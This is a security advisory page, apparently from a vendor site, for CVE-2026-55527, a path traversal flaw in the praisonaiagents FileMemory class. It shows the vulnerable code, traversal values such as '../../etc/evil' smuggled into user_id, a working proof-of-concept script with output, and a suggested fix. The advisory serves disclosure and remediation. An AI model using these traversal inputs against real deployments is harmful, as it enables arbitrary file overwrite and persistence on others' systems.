CVE-2026-55527

CVE-2026-55527 is a high-severity path traversal vulnerability in praisonaiagents (pip), affecting versions < 1.6.58. It is fixed in 1.6.58.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

praisonaiagents vulnerable to arbitrary file write via unsanitized user_id in FileMemory.init(), path traversal to any writable location

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:

self.user_path = self.base_path / user_id      # LINE 145, no sanitization

No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).

Details

Vulnerable code, praisonaiagents/memory/file_memory.py lines 139-157:

def __init__(
    self,
    user_id: str = "default",
    base_path: Optional[str] = None,
    ...
):
    ...
    self.user_path = self.base_path / user_id          # LINE 145, NO SANITIZATION
    self.episodic_path = self.user_path / "episodic"

    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path
    self.episodic_path.mkdir(parents=True, exist_ok=True)

    self.config_file      = self.user_path / "config.json"
    self.short_term_file  = self.user_path / "short_term.json"
    self.long_term_file   = self.user_path / "long_term.json"
    self.entities_file    = self.user_path / "entities.json"
    self.summaries_file   = self.user_path / "summaries.json"

All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).

Comparison with the patched reference, praisonaiagents/storage/backends.py
(SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
    raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A, Direct Python API (any caller):

from praisonaiagents.memory.file_memory import FileMemory

mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json  (on Linux)
# Creates C:\evil\short_term.json    (on Windows)

B, Via Agent constructor (memory dict):

from praisonaiagents import Agent

agent = Agent(
    name="assistant",
    memory={"provider": "file", "user_id": "../../etc/evil"},
    instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init

C, Via agents.yaml / job submission (agent_yaml field):

# Submitted via POST /jobs with agent_yaml:
agents:
  researcher:
    memory:
      provider: file
      user_id: "../../tmp/evil"
    role: "Research assistant"
    goal: "Research topics"

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1, Verify path escapes base (no dependencies needed):

from pathlib import Path
import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id

try:
    user_path.resolve().relative_to(base.resolve())
    print("SAFE")
except ValueError:
    print("!!PATH ESCAPES BASE!!")
    print("Writes to:", user_path.resolve())

Output:

!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape

Step 2, Live exploit (files written outside base):

import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)

TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()

mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)

# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
    f = TARGET / fname
    if f.exists():
        print(f"WRITTEN: {f}")
        print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")

Observed output (run on current main):

WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal.
Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

  • Any application that creates FileMemory instances with user-controlled user_id
  • Any PraisonAI deployment where users can supply the user_id parameter directly
    or indirectly (via Agent(memory={"user_id": ...}), agents.yaml, or jobs API)

High-impact scenarios:

  1. Overwrite Python package files: On systems where Python packages are stored
    in a world-writable or user-writable path, JSON files can be written over package
    files, causing import failures or (in edge cases) execution if a JSON parser is
    swapped for a Python parser.

  2. Overwrite web server / app config: Write config.json or settings.json
    to an app's configuration directory, potentially modifying runtime behavior.

  3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths
    (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted
    by monitoring systems.

  4. Denial of Service: Write large JSON memory files into system directories,
    filling disk space or overwriting critical config files.

  5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where
    users can create agents with custom memory configs, one user can read/overwrite
    another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

GHSA-766v-q9x3-g744 This finding
File examples/context/12_multi_agent_context.py (example) praisonaiagents/memory/file_memory.py (core library)
Class MultiAgentMonitor FileMemory
Fixed in praisonaiagents >= 1.5.115 Not patched (affects 1.6.52)

---

## Remediation Suggestion (for maintainers)

Validate and resolve `user_id` before using it in path construction:

```python
def __init__(self, user_id: str = "default", base_path=None, ...):
    ...
    # ADDED: sanitize user_id
    import re
    if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
        raise ValueError(
            f"user_id '{user_id}' contains invalid characters. "
            f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
        )

    self.user_path = self.base_path / user_id

    # ADDED: verify the resolved path is within base (defense-in-depth)
    resolved = self.user_path.resolve()
    base_resolved = self.base_path.resolve()
    try:
        resolved.relative_to(base_resolved)
    except ValueError:
        raise ValueError(
            f"user_id '{user_id}' would write outside the base memory directory."
        )

The same pattern should be applied to base_path parameter.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-55527 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.58); upgrading removes the vulnerable code path.

Affected versions

praisonaiagents (< 1.6.58)

Security releases

praisonaiagents → 1.6.58 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade praisonaiagents to 1.6.58 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-55527? CVE-2026-55527 is a high-severity path traversal vulnerability in praisonaiagents (pip), affecting versions < 1.6.58. It is fixed in 1.6.58. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-55527? CVE-2026-55527 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of praisonaiagents are affected by CVE-2026-55527? praisonaiagents (pip) versions < 1.6.58 is affected.
  4. Is there a fix for CVE-2026-55527? Yes. CVE-2026-55527 is fixed in 1.6.58. Upgrade to this version or later.
  5. Is CVE-2026-55527 exploitable, and should I be worried? Whether CVE-2026-55527 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-55527 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-55527? Upgrade praisonaiagents to 1.6.58 or later.

Stop the waste.
Protect your environment with Kodem.